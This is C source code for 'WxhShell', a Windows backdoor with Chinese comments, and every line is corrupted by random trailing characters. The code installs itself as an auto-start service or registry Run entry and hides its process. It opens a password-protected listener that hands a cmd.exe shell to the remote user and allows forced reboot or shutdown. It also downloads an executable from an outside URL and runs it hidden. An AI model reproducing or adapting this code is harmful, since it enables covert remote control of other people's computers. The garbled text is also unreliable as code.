    if(Boot(SHUTDOWN)) vT^Sk;E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sb2v_o  
    else { + xv!$gJEj  
    closesocket(wsh); z`Wt%tL(  
    ExitThread(0); :fcM:w&  
    } c,EBF\r8*  
    break; DPgm%Xq9(!  
    } 6c4&VW  
  // 获取shell 'fV%Z  
  case 's': { xg`h40c  
    CmdShell(wsh); '=E9En#@  
    closesocket(wsh); imB#Eo4eY  
    ExitThread(0); Nil}js27  
    break; d;[u8t  
  } M5L{*>4|6  
  // 退出 R{Z-m2La  
  case 'x': { kK>Xrj6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |iYg >  
    CloseIt(wsh); zSTR^sgJ  
    break; qeL pXe0c  
    } Ji'(`9F&a  
  // 离开 F'P Qqb{  
  case 'q': { Lz9#A.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9;t]Hp_+K  
    closesocket(wsh); M6|I6M<  
    WSACleanup(); 5E\#%K[  
    exit(1); +YY8h>hj  
    break; zR6siAV9  
        } qZk'tRv  
  } hi2sec|;<  
  } vE, 37  
\kIMDg3}  
  // 提示信息 kfb/n)b'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %u\26[/  
} _o6G6e,  
  } & -l8n^  
NLd``=&  
  return; bKVj[r8D~  
} is; XmF*5=  
O>y'Nqz  
// shell模块句柄 MhEw _{?  
int CmdShell(SOCKET sock) !eR3@%4  
{ S0/usC[r  
STARTUPINFO si; $P o}  
ZeroMemory(&si,sizeof(si)); k_|^kdWJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -cF'2Sfr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~,6b_W p/  
PROCESS_INFORMATION ProcessInfo; 5AeQQU  
char cmdline[]="cmd"; sd re#@n}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \t4tiCw  
  return 0; Z,7R;,qX  
} H[Q_hY[>V  
b;mSQ4+  
// 自身启动模式 mg:!4O$K  
int StartFromService(void) h[tix:  
{ -<_$m6x"A  
typedef struct a~LC+8|JW  
{ @DAF 6ygs  
  DWORD ExitStatus; E:E4ulak  
  DWORD PebBaseAddress; 0[A9b,MMVO  
  DWORD AffinityMask; (P|~>k  
  DWORD BasePriority; 5r {;CKKz  
  ULONG UniqueProcessId; H4-qB Z'  
  ULONG InheritedFromUniqueProcessId; Yd cK&{  
}   PROCESS_BASIC_INFORMATION; er.L7  
al9.}  
PROCNTQSIP NtQueryInformationProcess; \(UKd v  
L #[]I,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X<OSN&d  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~}ml*<z@  
dj6*6qX0'^  
  HANDLE             hProcess; 4pU>x$3$  
  PROCESS_BASIC_INFORMATION pbi; D<{{ :7n  
!G5a*8]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &F$:Q:* *  
  if(NULL == hInst ) return 0; d5I f"8`@  
]<uQ.~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,.IEDF<&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (WlIwKP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .S\&L-{  
xFv;1Q  
  if (!NtQueryInformationProcess) return 0; JOn yrks  
4JIYbb-a'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lG<hlYckv  
  if(!hProcess) return 0; E .6HpIx  
4A`NJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -|yb[~3  
AF,BwLN  
  CloseHandle(hProcess); RuW!*LI  
4b]a&_-}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %~ |HFYd  
if(hProcess==NULL) return 0; #1-xw~_  
h:\oly\  
HMODULE hMod; 2 -!L _W(  
char procName[255]; Ft JjY@#  
unsigned long cbNeeded; M&Y .;  
tCF&OOI4`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~=r^3nZR/J  
{4 >mc'dv  
  CloseHandle(hProcess); bEuaOBc  
R! s6% :Yg  
if(strstr(procName,"services")) return 1; // 以服务启动 oSb, :^Wl  
>n5:1.g  
  return 0; // 注册表启动 xom<P+M!|  
} PG5- ;i/  
a)-FG P^  
// 主模块 w>?Un,K  
int StartWxhshell(LPSTR lpCmdLine) d?,M/$h  
{ 0\{BWNK  
  SOCKET wsl; OU DcY@x~  
BOOL val=TRUE; ^ ?hA@{T/1  
  int port=0; %%%fL;-y  
  struct sockaddr_in door; uv{P,]lK  
Jc4L5*Xn/  
  if(wscfg.ws_autoins) Install(); cX!Pz.C  
or ;f&![w  
port=atoi(lpCmdLine); ~rbIMF4T`]  
R614#yn-+  
if(port<=0) port=wscfg.ws_port; >"X\>M`"  
0Rxe~n1o  
  WSADATA data; H/F+X?t$0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q]& .#&h  
]ekk }0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3*_fzP<R  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A^fjfa);V  
  door.sin_family = AF_INET; zRl~^~sY  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); DLPUqKL]  
  door.sin_port = htons(port); +';>=hha  
E|"=. T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =H7xD"'%R  
closesocket(wsl); `rY2up#%  
return 1; )n7l'}o?+  
} )YW<" $s  
79J-)e9  
  if(listen(wsl,2) == INVALID_SOCKET) { 1,y&d}GW  
closesocket(wsl); FeJr\|FT  
return 1; tYW>t9  
} d~tuk4F  
  Wxhshell(wsl); l":c  
  WSACleanup(); )bOBQbj  
5R MS(  
return 0; $e%2t^ i.g  
|V[9}E: h  
} [K~]&  
3-s}6<0v1  
// 以NT服务方式启动 9W*+SlH@ !  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6Q|k7*,B  
{ $*[{J+t_  
DWORD   status = 0; dBC bL.!  
  DWORD   specificError = 0xfffffff; |BMV.Zi  
@# P0M--X  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vP!GJX &n5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; iSK+GQ~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D.!~dyI.,$  
  serviceStatus.dwWin32ExitCode     = 0; pI`?(5iK6|  
  serviceStatus.dwServiceSpecificExitCode = 0; ~.Ik#At  
  serviceStatus.dwCheckPoint       = 0; G* %t'jX9  
  serviceStatus.dwWaitHint       = 0; wl=61 Mb  
-OZ 5vH0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^:, l\Y  
  if (hServiceStatusHandle==0) return; RH0>ZZR  
c2l_$p  
status = GetLastError(); i y YJR  
  if (status!=NO_ERROR) mbl]>JsQD  
{ y2HxP_s?P?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =64r:E  
    serviceStatus.dwCheckPoint       = 0; Eq% @"-m o  
    serviceStatus.dwWaitHint       = 0; D,l,`jv*  
    serviceStatus.dwWin32ExitCode     = status; %9C@ Xl  
    serviceStatus.dwServiceSpecificExitCode = specificError; _Yb _D/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~0"p*?^  
    return; N8cAqr  
  } 5}ie]/[|  
=iB,["s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9D\4n  
  serviceStatus.dwCheckPoint       = 0; Uh}seB#mJj  
  serviceStatus.dwWaitHint       = 0; d87vl13  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PrQ?PvA<L  
} RNVbcd  
` D7C?M#j]  
// 处理NT服务事件,比如:启动、停止 w^k;D,h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }]1BO  
{ T<yP* b2E  
switch(fdwControl) l|`9:H  
{ zZ-wG  
case SERVICE_CONTROL_STOP: -a Gcf]6  
  serviceStatus.dwWin32ExitCode = 0; f},oj4P\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^he=)rBb?  
  serviceStatus.dwCheckPoint   = 0; >M!xiQX  
  serviceStatus.dwWaitHint     = 0; _GQz!YA  
  { jo +w>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); | aQ"3d  
  } EUYCcL'G  
  return; 1x J TWWj-  
case SERVICE_CONTROL_PAUSE: fBtm%f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T70QJ=,  
  break; k#TYKft  
case SERVICE_CONTROL_CONTINUE: %WG9 dYdS  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 31+;]W=  
  break; {Ee>n^1  
case SERVICE_CONTROL_INTERROGATE: B-.v0R`5  
  break; X#a`K]!B  
}; TZir>5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^62|d  
} &}mw'_ I  
(oK^c- x  
// 标准应用程序主函数 iyZZ}M  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ylf[/='0K  
{ Sgb*tE)T  
U7mozHS,:9  
// 获取操作系统版本 PHg48Y"Nd  
OsIsNt=GetOsVer(); et,GrL)l  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /e\{    
z!QDTIb  
  // 从命令行安装 `+lHeLz':  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6< J #^ 6  
! ueN|8'  
  // 下载执行文件 I[MgIr^  
if(wscfg.ws_downexe) { h 6G/O`:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >>[/UFC)n  
  WinExec(wscfg.ws_filenam,SW_HIDE); ln*icaDqf  
} ~s Qjl]  
`D( xv  
if(!OsIsNt) { rR ES8/  
// 如果时win9x,隐藏进程并且设置为注册表启动 ub0zJTFJ#  
HideProc(); k@>\LR/v  
StartWxhshell(lpCmdLine); yDb'7(3-  
} >e5 *prx+  
else !U_ K&f  
  if(StartFromService()) sH,kW|D  
  // 以服务方式启动 /z7VNkD  
  StartServiceCtrlDispatcher(DispatchTable); m4k Bj*6c{  
else gV1[3dW  
  // 普通方式启动 ?71+ f{s  
  StartWxhshell(lpCmdLine); (%CZ*L[9Z  
Ph&urxH@  
return 0; P27%xV-n>  
} T[k4lM  
C;AA/4Ib  
_s,ao '/  
wo2@hav  
=========================================== `i ,_aFB|  
)|j[uh6w o  
v4Zb? Yb  
}g +;y  
:qhpL-ER  
4:3rc7_ 1  
" Z.L?1V8Q1  
foF19_2 ,  
#include <stdio.h> 4!62/df  
#include <string.h> Gz I~TWc+G  
#include <windows.h> vq*Q.0M+  
#include <winsock2.h> VO3pm6r5  
#include <winsvc.h> 5F+APz7  
#include <urlmon.h> K`}{0@ilCw  
%Kh4m7  
#pragma comment (lib, "Ws2_32.lib") 8rZ!ia!  
#pragma comment (lib, "urlmon.lib") H?1xjY9sl  
<mA'X V,  
#define MAX_USER   100 // 最大客户端连接数 *F ^wtH`  
#define BUF_SOCK   200 // sock buffer 9L0GLmLk1u  
#define KEY_BUFF   255 // 输入 buffer 4rK{-jvh>m  
D(W,yq~7uY  
#define REBOOT     0   // 重启 `Ycf]2.,$  
#define SHUTDOWN   1   // 关机 R9We/FhOY  
FQ%c~N  
#define DEF_PORT   5000 // 监听端口 @K223?c8l  
[,EpN{l  
#define REG_LEN     16   // 注册表键长度 <%}QDO8\i  
#define SVC_LEN     80   // NT服务名长度 h/eR  
~na!@<zB{  
// 从dll定义API 2'jOP" G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #qU-j/Qf  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gbOpj3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !{et8F@d|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j*@l"V>~  
[sV"ws  
// wxhshell配置信息 }K1 0Po'  
struct WSCFG { ^{$FI`P  
  int ws_port;         // 监听端口 F+ <Z<q  
  char ws_passstr[REG_LEN]; // 口令 ]  H~4  
  int ws_autoins;       // 安装标记, 1=yes 0=no b2(RpY2Y  
  char ws_regname[REG_LEN]; // 注册表键名 a ?} .Fs  
  char ws_svcname[REG_LEN]; // 服务名 zIC;7 5#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 E9\vA*a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ' #NcZy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k- V,~c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~9^)wCM+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <P ,~eX(r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @[<nQZw:  
s..lK "b  
}; c@[:V  
WtQ8X|\`  
// default Wxhshell configuration 4EI7W,y  
struct WSCFG wscfg={DEF_PORT,  %R#L  
    "xuhuanlingzhe", e:E0"<  
    1, 'oNO-)p\#!  
    "Wxhshell", vE6mOM!_L  
    "Wxhshell", #?MY&hdU9  
            "WxhShell Service", JTqDr  
    "Wrsky Windows CmdShell Service", _iKq~\v2  
    "Please Input Your Password: ", HD,xY4q&N  
  1, .Ig+Dj{)  
  "http://www.wrsky.com/wxhshell.exe", Ng><n}  
  "Wxhshell.exe" h2z_,`iS7  
    }; dG QG!l+>  
8 a!Rb-Q:  
// 消息定义模块 ,jA)wJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3<=,1 cU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; spU)]4P&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @WH@^u  
char *msg_ws_ext="\n\rExit."; d\MLOXnLq;  
char *msg_ws_end="\n\rQuit."; ` 8W*  
char *msg_ws_boot="\n\rReboot..."; lPH%Do>K  
char *msg_ws_poff="\n\rShutdown..."; 2Y}?P+:%>  
char *msg_ws_down="\n\rSave to "; lN,/3\B  
H|ozDA  
char *msg_ws_err="\n\rErr!"; rrg96WD  
char *msg_ws_ok="\n\rOK!";  $p!yhn7  
xX3'bsN  
char ExeFile[MAX_PATH]; ^ PI5L  
int nUser = 0; ~vLW.:  
HANDLE handles[MAX_USER]; dpQG[vXe  
int OsIsNt; { pu85'DV  
ERwHLA  
SERVICE_STATUS       serviceStatus; V^y^ ;0I}[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =/<LSeLxH  
T@}|zDC#  
// 函数声明 .)1_Ew  
int Install(void); hPq%L c  
int Uninstall(void); g&dPd7  
int DownloadFile(char *sURL, SOCKET wsh); IcP)FB 4  
int Boot(int flag); hLJM%on  
void HideProc(void); _AV1WS;^^8  
int GetOsVer(void); 4?N8R$  
int Wxhshell(SOCKET wsl); AE: Z+rM*  
void TalkWithClient(void *cs); r|4t aV&  
int CmdShell(SOCKET sock); j Ja$a [  
int StartFromService(void); I8oo~2Q w  
int StartWxhshell(LPSTR lpCmdLine); a`Gx=8  
8eA+d5k\.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "G >3QL+O|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >+. ( r]  
wB'zuPAK6  
// 数据结构和表定义 6nhMP$h  
SERVICE_TABLE_ENTRY DispatchTable[] = U$oduY#  
{ \ w3]5gJZ  
{wscfg.ws_svcname, NTServiceMain}, Z\[N!Zt|  
{NULL, NULL} C]^H&  
}; Li*eGlId  
b o.(zAz  
// 自我安装 HM>lg`S  
int Install(void) (SSRY9  
{ N@B9 @8h  
  char svExeFile[MAX_PATH]; r "$.4@gc  
  HKEY key; ~['Kgh_;  
  strcpy(svExeFile,ExeFile); b~dIk5>O  
Q1V9PRZX  
// 如果是win9x系统,修改注册表设为自启动 9nu3+.&P  
if(!OsIsNt) { J0zn-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +C7 ~b~ %  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :Xc@3gF  
  RegCloseKey(key); zy*/T>{#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -}K<ni6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9&<x17'  
  RegCloseKey(key); B|o2K}%f  
  return 0; BL@:!t  
    } T843":  
  } keRE==(D  
} Em[DHfu1Q  
else { JNcYJ[wqv  
L(GjZAP  
// 如果是NT以上系统,安装为系统服务 j*xV!DqC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `y#UJYXQE  
if (schSCManager!=0) 3D?s L!W  
{ E2)h ?cs  
  SC_HANDLE schService = CreateService x8GJY~:SW  
  ( -OSa>-bzNx  
  schSCManager, 2Sm }On  
  wscfg.ws_svcname, Dk48@`l2  
  wscfg.ws_svcdisp, .`?@%{  
  SERVICE_ALL_ACCESS, IK*07h/!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , TLehdZ>^  
  SERVICE_AUTO_START, @cU&n6C@  
  SERVICE_ERROR_NORMAL, 8enEA^  
  svExeFile, 1+?N#Fh  
  NULL, hY`\&@  
  NULL, ybp -$e  
  NULL, HR}bbsqxVf  
  NULL, pW4 cX  
  NULL YBh'EL}P  
  ); r'gOVi4t1*  
  if (schService!=0) 8,dBl!G=  
  { O12eH  
  CloseServiceHandle(schService); 9mZ  
  CloseServiceHandle(schSCManager); |7x\m t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); yA47"R  
  strcat(svExeFile,wscfg.ws_svcname); 2wF8 P)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 36US5ef  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^n0]dizB  
  RegCloseKey(key); /dnCwFXf  
  return 0; dH( ('u[  
    } NHlk|Y#6b  
  } uslQ*7S[^  
  CloseServiceHandle(schSCManager); Jmx Ko+-  
} 4@xE8`+b G  
} 1?Z4 K /  
;;&}5jcV  
return 1; hlt[\LP=$  
} n_'{^6*O  
*hcYGLx r  
// 自我卸载 cu+FM  
int Uninstall(void) [z 7bixN  
{ I!^O)4QRx  
  HKEY key; fFQ|T:vm  
[` sL?&a  
if(!OsIsNt) { 6Aocm R0D'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EYA,hc  
  RegDeleteValue(key,wscfg.ws_regname); .bio7c6  
  RegCloseKey(key); 1^gl}^|B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z1"v}g  
  RegDeleteValue(key,wscfg.ws_regname); hpU2  
  RegCloseKey(key); 2;w*oop,O  
  return 0; 5h;+Ky!I  
  } ->N8#XH2=  
} zXRlo]  
} /hO1QT}xd  
else { 6Cp]NbNrq  
O$cHZs$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~K@'+5Pc  
if (schSCManager!=0) 2WG>, 4W2  
{ y|wc ,n%L>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?,/U^rf^4  
  if (schService!=0) NIw\}[-Z0E  
  { (y^vqMz  
  if(DeleteService(schService)!=0) { 1)Zf3Y8  
  CloseServiceHandle(schService); TsTPj8GAl[  
  CloseServiceHandle(schSCManager); -lv)tHs<  
  return 0; K$d$m <  
  } hJPlq0C  
  CloseServiceHandle(schService); QE7V. >J_p  
  } 0]4(:(B  
  CloseServiceHandle(schSCManager); bJD;>"*  
} ge8/``=  
} W 5R\Q,x6  
iTaWup  
return 1; Dl}$pN  
} ]kboG%Dl?9  
RD.V'`n"  
// 从指定url下载文件 I|Gp$ uq _  
int DownloadFile(char *sURL, SOCKET wsh) ]LM-@G+Jz  
{ 7 x<i :x3  
  HRESULT hr; jRatm.N  
char seps[]= "/"; LW(6$hpPp  
char *token; bcupo:N  
char *file; n93=8;&  
char myURL[MAX_PATH]; 9YBv|A  
char myFILE[MAX_PATH]; TjG4`:*y#m  
aFLO{tr`  
strcpy(myURL,sURL); HJY2#lSha6  
  token=strtok(myURL,seps); CJhL)0Cs  
  while(token!=NULL) ` He,p -  
  { $cZUM}@  
    file=token; [pM V?a[  
  token=strtok(NULL,seps); zen*PeIrA^  
  } [ Fz`D/  
4!wR_@W^El  
GetCurrentDirectory(MAX_PATH,myFILE); n?c]M  
strcat(myFILE, "\\"); &zo|Lfe  
strcat(myFILE, file); Sf r&p>{,  
  send(wsh,myFILE,strlen(myFILE),0); h?pkE  
send(wsh,"...",3,0); D:K4H+ch  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nWHa.H#  
  if(hr==S_OK) =lpQnj"  
return 0; @K!&qw  
else <'g:T(t  
return 1; ? C/Te)  
JwXT%op9RP  
} `[n(" 7,  
% $DI^yS  
// 系统电源模块 =yy5D$\  
int Boot(int flag) 9`9R!=NM  
{ h*<P$t  
  HANDLE hToken; wKsT7c'  
  TOKEN_PRIVILEGES tkp; ki)#d' }  
w[ ~#av9  
  if(OsIsNt) { 6VhjJJ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [0D Et   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _(KbiEB{  
    tkp.PrivilegeCount = 1; 0c#/hFn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7t*"%]o  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c?@T1h4  
if(flag==REBOOT) { OiP!vn}k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n-@j5w+k4  
  return 0; -xP!"  
} q?ix$nKOv  
else { NhYLt w^u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q6r7.pk"SU  
  return 0; pn^ d]rou?  
} rX1QMR7?  
  } nt@aYXK4|  
  else { T|TO}_x  
if(flag==REBOOT) { +="e]Yh;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |u;v27  
  return 0; qQH]`#P  
} @qHNE,K  
else { 6!(@@^7{*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q0ON9gqqv  
  return 0; \0gM o&  
} #KiRfx4G  
} }3L@J8:D"  
&EnuE0BD  
return 1; ^) s2$A:L  
} L{`JRu  
E)fglYWs2  
// win9x进程隐藏模块 s91JBP|B7  
void HideProc(void) UMcgdJB  
{ z.I9wQ]X[  
mOlI#5H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ze]h..,]K  
  if ( hKernel != NULL ) yiA<,!;4P  
  { _:"<[ >9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,xxR\}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9\DQ>V TQ  
    FreeLibrary(hKernel); `9b7>Nn<  
  } fP `b>]N_  
1N>|yQz  
return; aUtnR<6  
} uF3qD|I\  
t0T"@t#c  
// 获取操作系统版本 m RO~aD!N  
int GetOsVer(void) x a06i#  
{ (#E.`e1#6  
  OSVERSIONINFO winfo; smDw<slC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u5%7}<nNi  
  GetVersionEx(&winfo); I}vmU^Y>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yu/`h5&*  
  return 1; |1>*;\o-  
  else JC3m.)/  
  return 0; >L 0_dvr  
} h^o{@/2  
E3iW-B8u8  
// 客户端句柄模块 :B:"NyPA  
int Wxhshell(SOCKET wsl) 6 M*O{f  
{ n= u&uqA*  
  SOCKET wsh; &sL&\+=<(  
  struct sockaddr_in client; ?28N ^  
  DWORD myID; M%0C_=zg  
JQ@E>o7_  
  while(nUser<MAX_USER) K]9"_UnN  
{ k4 [|'Dk?  
  int nSize=sizeof(client); d $Pab*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !f+H,]D"  
  if(wsh==INVALID_SOCKET) return 1; 9amaL~m  
C-H@8p?T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5)MS~ii  
if(handles[nUser]==0) }dd8N5b  
  closesocket(wsh); #hsx#x||  
else F;<xnC{[  
  nUser++; CLJ;<  
  } TBT:/Vfun  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <h'5cO  
oT>(V]*5  
  return 0; Yn G_m]  
} >b{q.  
%eO0w a$a  
// 关闭 socket iB& 4>+N+  
void CloseIt(SOCKET wsh) z=3\Ab  
{ -#HA"7XOE  
closesocket(wsh); hs$GN]  
nUser--; u!W0P6   
ExitThread(0); M%kO7>h8  
} Oz%>/zw[h  
A"rfZ`  
// 客户端请求句柄 LpqO{#ZG  
void TalkWithClient(void *cs) ftF@Wq1f  
{ E }nH1  
^*Yh@4\{JH  
  SOCKET wsh=(SOCKET)cs; ^kB8F"X  
  char pwd[SVC_LEN]; Evjj"h&0J  
  char cmd[KEY_BUFF]; R'@9]99  
char chr[1]; #odIEC/  
int i,j; 20nP/ e  
< RH UH)I  
  while (nUser < MAX_USER) { 57&b:0`p  
S-|)QGxV6  
if(wscfg.ws_passstr) { ,^. 88<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k+ty>bP=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D,k"PaLP  
  //ZeroMemory(pwd,KEY_BUFF); Y/ .Z .FD`  
      i=0; Us0EG\Y  
  while(i<SVC_LEN) { Z Z:}AQ  
j4uvS!  
  // 设置超时 -- c"0,7  
  fd_set FdRead; $NZ-{dY{  
  struct timeval TimeOut; gh8F 2V;<  
  FD_ZERO(&FdRead); c5D)   
  FD_SET(wsh,&FdRead); "$N+"3I  
  TimeOut.tv_sec=8; Gf<'WQ[  
  TimeOut.tv_usec=0; ikv Wh<=>H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qtQ6cq Ld  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u*ObwcI/Bn  
u /\EtSH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .G#8a1#  
  pwd=chr[0]; +N:o-9  
  if(chr[0]==0xd || chr[0]==0xa) { zM(vr"U   
  pwd=0; `yH<E+   
  break; tAv@R&W,  
  } e(GP^oK  
  i++; 9E"vN  
    } O%5 r[  
[VsKa\9u  
  // 如果是非法用户,关闭 socket HTS%^<u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [8*jw'W|[  
} ^!<BQP7  
L"4mL,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^5h]Y;tx  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;E3>ay6m8  
<?riU\-]y  
while(1) { = 's(|  
F.=2u"[*&  
  ZeroMemory(cmd,KEY_BUFF); C8V/UbA /  
BlA_.]Sg$  
      // 自动支持客户端 telnet标准   Z:sg}  
  j=0; <YhB8W9 P  
  while(j<KEY_BUFF) { ZL&g_jC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W;!}#o|%s  
  cmd[j]=chr[0]; %R}.#,Suo  
  if(chr[0]==0xa || chr[0]==0xd) { JS CZ{v J$  
  cmd[j]=0; rPLm5ni  
  break; rLI8pA|.  
  } opy("qH  
  j++; yl7&5)b#9  
    } 0c<.iM  
d\R,Q  
  // 下载文件 .ZVUd84B  
  if(strstr(cmd,"http://")) { \%f q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); uF9C -H@:  
  if(DownloadFile(cmd,wsh)) a!"$~y$*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +RYls|f  
  else ?"i}^B`*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p8h9Ng* &`  
  } Of[XKFn_  
  else { 3TY5;6  
l0PZ`m+;j  
